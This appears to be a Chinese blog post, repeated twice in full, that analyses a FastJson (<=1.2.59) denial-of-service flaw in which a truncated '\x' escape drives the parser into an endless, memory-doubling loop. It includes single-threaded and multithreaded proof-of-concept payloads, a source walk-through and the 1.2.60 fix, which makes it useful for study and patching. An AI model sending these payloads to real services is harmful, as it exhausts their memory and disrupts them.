FastJson 拒绝服务攻击分析 (<=1.2.59)


最近在翻资料的时候发现了这样一个有意思的漏洞,简而言之,漏洞产生的原因是开发对输入数据考虑不周全,致使一个索引指针越界,导致拒绝服务的问题。比如我们输入16进制\x0a,而开发未考虑到恶意攻击者如果只输入\x,将会导致索引指针往后移动了两个指向了数据之外(越界)的地方.

漏洞复现

pom.xml

1
2
3
4
5
6
<!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.59</version>
</dependency>

poc:

1
2
3
4
5
6
7
8
import com.alibaba.fastjson.JSON;

public class test {
public static void main(String[] args){
String DEATH_STRING = "{\"a\":\"\\x";//输入字符串长度为8
JSON.parse(DEATH_STRING);
}
}

-w1047

漏洞分析

在这篇文章里介绍了fastjson解析json串的机制:fastjson源码解析:JSON Token解析,这里我们记住bp为读取字符串的指针、sp为字符缓存区索引就好了:
-w491
-w513

直接来看解析16进制的代码位置:/parser/JSONLexerBase.java#scanString
-w1432

跟进next函数:JSONScanner.java#next()
-w881
先给索引指针进行了自增赋值,接着判断索引和实际长度的比较,如果索引比实际长度长或者相等则返回EOI,否则返回当前索引指向的字符:
-w480
经过第一次的next处理,已经返回EOI(0x1A)了:
-w967

但是他又调用了一次next(即默认信任用户输入\x后跟两位字符),此时索引的指针bp为9了,已经越界了:
-w914

然后经过putChar函数,breakswitch分支,继续进行这个循环:
-w1125

跟进isEOF函数:JSONScanner.java#isEOF:
-w1013
bp+1已经远大于len了,这个条件永远只能返回false

跟进putChar函数,如果sp和缓存字符长度相对后,则申请一个char占用当前sbuf.length的两倍:
-w920
所以最后的结果就是进入一个死循环且成倍申请内存:
-w709

最后

在新版本1.2.60中,修改了isEOF函数的判断条件:
-w677
并且增加了x1x2的校验:
-w1043

其次,在实际的测试中并没有理想中的拒绝服务效果,使用多线程占用也就从100多M涨到2.5G的样子。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import com.alibaba.fastjson.JSON;

public class fastjsonDos implements Runnable{
public static void main(String[] args){
new Thread(new fastjsonDos()).start();
new Thread(new fastjsonDos()).start();
new Thread(new fastjsonDos()).start();
}
public void run() {
String DEATH_STRING = "{\"a\":\"\\x";
JSON.parse(DEATH_STRING);

}
}

-w882

后来学习到,java启动的时候可以通过-Xmx参数为jvm设置最大内存占用,默认为主机的四分之一。

其次Java的OutOfMemoryError是JVM内部的异常,是一个可捕获异常,并不会直接导致java进程被Kill掉,顶多线程挂掉。

在Linux下当应用程序内存超出内存上限时,会触发OOM Killer机制以保持系统空间正常运行,java默认最大1/4物理内存占用,还不太容易导致系统的OOM。

总的来说,漏洞危害有限,但是利用过程还是挺看细节的,有一些值得学习的点~

参考文章:

FastJson 拒绝服务攻击分析 (<=1.2.59)

最近在翻资料的时候发现了这样一个有意思的漏洞,简而言之,漏洞产生的原因是开发对输入数据考虑不周全,致使一个索引指针越界,导致拒绝服务的问题。比如我们输入16进制\x0a,而开发未考虑到恶意攻击者如果只输入\x,将会导致索引指针往后移动了两个指向了数据之外(越界)的地方.

漏洞复现

pom.xml

1
2
3
4
5
6
<!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.59</version>
</dependency>

poc:

1
2
3
4
5
6
7
8
import com.alibaba.fastjson.JSON;

public class test {
public static void main(String[] args){
String DEATH_STRING = "{\"a\":\"\\x";//输入字符串长度为8
JSON.parse(DEATH_STRING);
}
}

-w1047

漏洞分析

在这篇文章里介绍了fastjson解析json串的机制:fastjson源码解析:JSON Token解析,这里我们记住bp为读取字符串的指针、sp为字符缓存区索引就好了:
-w491
-w513

直接来看解析16进制的代码位置:/parser/JSONLexerBase.java#scanString
-w1432

跟进next函数:JSONScanner.java#next()
-w881
先给索引指针进行了自增赋值,接着判断索引和实际长度的比较,如果索引比实际长度长或者相等则返回EOI,否则返回当前索引指向的字符:
-w480
经过第一次的next处理,已经返回EOI(0x1A)了:
-w967

但是他又调用了一次next(即默认信任用户输入\x后跟两位字符),此时索引的指针bp为9了,已经越界了:
-w914

然后经过putChar函数,breakswitch分支,继续进行这个循环:
-w1125

跟进isEOF函数:JSONScanner.java#isEOF:
-w1013
bp+1已经远大于len了,这个条件永远只能返回false

跟进putChar函数,如果sp和缓存字符长度相对后,则申请一个char占用当前sbuf.length的两倍:
-w920
所以最后的结果就是进入一个死循环且成倍申请内存:
-w709

最后

在新版本1.2.60中,修改了isEOF函数的判断条件:
-w677
并且增加了x1x2的校验:
-w1043

其次,在实际的测试中并没有理想中的拒绝服务效果,使用多线程占用也就从100多M涨到2.5G的样子。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import com.alibaba.fastjson.JSON;

public class fastjsonDos implements Runnable{
public static void main(String[] args){
new Thread(new fastjsonDos()).start();
new Thread(new fastjsonDos()).start();
new Thread(new fastjsonDos()).start();
}
public void run() {
String DEATH_STRING = "{\"a\":\"\\x";
JSON.parse(DEATH_STRING);

}
}

-w882

后来学习到,java启动的时候可以通过-Xmx参数为jvm设置最大内存占用,默认为主机的四分之一。

其次Java的OutOfMemoryError是JVM内部的异常,是一个可捕获异常,并不会直接导致java进程被Kill掉,顶多线程挂掉。

在Linux下当应用程序内存超出内存上限时,会触发OOM Killer机制以保持系统空间正常运行,java默认最大1/4物理内存占用,还不太容易导致系统的OOM。

总的来说,漏洞危害有限,但是利用过程还是挺看细节的,有一些值得学习的点~

参考文章: